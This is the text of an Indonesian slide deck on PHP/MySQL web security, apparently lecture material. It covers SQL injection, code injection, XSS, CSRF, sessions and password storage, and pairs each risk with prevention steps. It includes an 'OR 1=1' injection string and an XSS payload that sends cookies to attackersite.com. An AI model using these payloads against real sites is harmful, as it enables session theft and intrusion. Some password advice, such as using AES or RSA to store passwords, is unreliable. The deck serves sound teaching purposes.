Web Security
Studi Kasus: PHP & MySQL
ARGA DINATA
Pendahuluan
• Web Security
Issues
• Secrets
– Menjaga kerahasiaan informasi
• Limited Resources
– CPU, memori, disk space, & bandwidth itu
terbatas. Jaga resources ini agar tidak dieksploitasi
• Good Netizenship
Referensi
• Pro PHP Security 2nd Edition: Chris Snyder cs. • https://www.owasp.org
Resiko dan Celah Keamanan
• Injection
• Remote Execution
• Cross-Site Scripting (XSS)
• Cross-Site Request Forgery (CSRF)
• Authentication & Session
• Third Party Components
SQL Injection
$username = $_POST[ username ];
$query = SELECT * FROM pengguna WHERE username
= {$username} ;
/*
attacker memasukkan arga OR 1 = 1 , sehingga query menjadi:
SELECT * FROM pengguna WHERE username = arga OR 1 = 1
SQL Injection
• Tidak hanya $_POST, tapi bisa juga melalui
$_GET
• Yang lebih berbahaya jika injeksi dilakukan pada
SQL Injection Word List
Pencegahan
SQL Injection
• Escape karakter khusus menggunakan fungsi
mysql_real_escape_string()
• Agar semakin aman:
– Gunakan prepared statements &
parameterized queries (PDO / MySQLi)
– Cek tipe input dari user dengan fungsi
gettype()
Prepared Statements &
Parameterized Queries
Tools
untuk Pengujian
SQL Injection
• SQL Power Injector
• Pangolin
• Web Cruiser
• SQL Map
Code Injection
• Dimana index.php memiliki instruksi
include($_GET[ content ])
• Attacker memasukkan URL seperti ini:
Code Injection
Pencegahan
Code Injection
• Non-aktifkan parameter allow_url_include
pada php.ini
Remote Execution
• Mencoba melakukan eksekusi script secara langsung melalui fungsi-fungsi berikut:
– eval()
– exec()
– passthru()
– proc_open()
– shell_exec()
Remote Execution
dari
Upload File
• Melalui upload file, attacker dapat
Pencegahan
Remote Execution
• Minimalisasi penggunaan fungsi-fungsi untuk mengeksekusi shell
• Cek ekstensi dari file-file yang di-upload
• Simpan upload file di luar document root
Cross-Site Scripting
(XSS)
• Memasukkan client-side script dari website
lain ke dalam website kita
• Tag HTML yang bisa diinjeksikan:
– <script>
– <object>
– <applet>
– <iframe>
Cross-Site Scripting
(XSS)
• Apa yang dilakukan oleh script injeksi tsb?
– Mencuri cookies
– Manipulasi DOM
– Redirect
– dll...
• Darimana injeksi dilakukan?
<style>
html { height: 100% } body { height: 100% }
</style> <div style=
position: absolute; top: 0; left: 0; background: White;
width: 100%; height: 100%
>
<h1>Situs dalam perbaikan</h1> <a href= #
onclick= javascript:window.location= http://attackersite.
com/cookies.php?cookie= +document.cookie; >Klik di sini untuk melanjutkan</a>
Pencegahan XSS
• Encode HTML Entities menggunakan fungsi
htmlentities()
• Jika input user mengandung link, buat blacklist
Tools
untuk
Testing
XSS
• Web Cruiser
• Zed Attack Proxy (ZAP)
Cross-Site Request Forgery
(CSRF)
• Akses website dari host lain, tujuannya
Pencegahan CSRF
• Menggunakan CSRF Token (POST maupun GET)
• Cek HTTP Referrer
• Challenge-Response:
– CAPTCHA
– Re-Authentication
User Authentication
• Buat otentikasi user agar halaman hanya dapat diakses oleh pengguna yang berhak • Untuk menghindari pencurian data &
Perusak
Website
• SPAMMER
– Pengguna yang melakukan posting konten yang bersifat promosi
• SCAMMER
– Pengguna yang melakukan posting hal-hal yang melanggar hukum: pornografi, SARA, dll...
• TROLL
Verifikasi Identitas Pengguna
• Simpan identitas pengguna agar:
– Mengurangi pengguna yang merusak
– Menghindari robot
– Jika ada pengrusakan, pengguna dapat dilacak
• Verifikasi dapat dilakukan melalui:
– SMS
Password
• Simpan password dalam bentuk yang sudah di-hash atau di-enkripsi
• Perhatikan panjang dan kompleksitas
password
• Sediakan fitur untuk mengubah dan reset
Hash
/ Enkripsi
Password
• Gunakan algoritma kriptografi yang kuat, seperti AES, RSA, atau SHA-256. MD5 dan SHA1 saat ini sudah termasuk yg lemah
• Gunakan algoritma yg sudah umum digunakan • Berikan kunci tambahan (salted)
• Ganti kunci tambahan tersebut secara periodik
Contoh Penyimpanan
Password
$key = pwd_key_ * ;
$salted_pwd = $key.$password.$email;
Kriptografi
• Enkripsi, Hash, & Encode:
– Enkripsi: merahasikan pesan, dapat dikembalikan
ke pesan semula menggunakan dekripsi
– Hash: merahasikan pesan, tidak dapat
dikembalikan ke pesan semula
– Encode: mengubah pesan ke dalam bentuk lain
Symmetric vs Asymmetric Key
• Symmetric Key
– Pengirim dan penerima berbagi kunci rahasia yang sama
– Contoh: 3DES, AES, Blowfish, RC4
• Asymmetric Key
– Enkripsi dan dekripsi memiliki kunci masing-masing
User Access Control
• Interface yang berbeda-beda • User Group
User Log
• Apache Access Log:
– Linux: /var/log/httpd/apache-access_log/
– Windows: /apache/logs/ • Simpan log pengguna:
– Session ID
– Date Time
– User ID
Session
• Properti dari session:
– Session Key / Session ID
– Session Name
– Session Length
– Session Entropy
Session Hijacking
• Mencuri Session ID sehingga attacker bisa masuk ke halaman yg sama dengan victim
• Pencurian bisa dilakukan dengan:
– Packet Sniffing
– XSS Attack
– Man-in-the-Middle Attack
Man-in-the-Browser
• Hampir sama dengan Man-in-the-Middle
Session Fixation
• Membuat victim menggunakan Session ID
yang telah diatur oleh attacker
Pencegahan Session Hijacking & Fixation
• Buat Session ID baru setiap pengguna login
• Ganti nama session (default: PHPSESSID)
Third Party Components
• Penggunaan komponen developer lain
memiliki resiko dalam keamanan, terutama yang bersifat open source
• Hampir tidak mungkin kita tidak
menggunakan komponen pihak lain, jadi solusinya adalah tetap update untuk
PHP
Configuration
Secure Socket Layer
(SSL)
• Protokol yang menggunakan kriptografi dalam pengiriman data, agar komunikasi lebih aman • Sekarang Transport Layer Security
• Kriptografi menggunakan kunci asimetris (asymmetric key)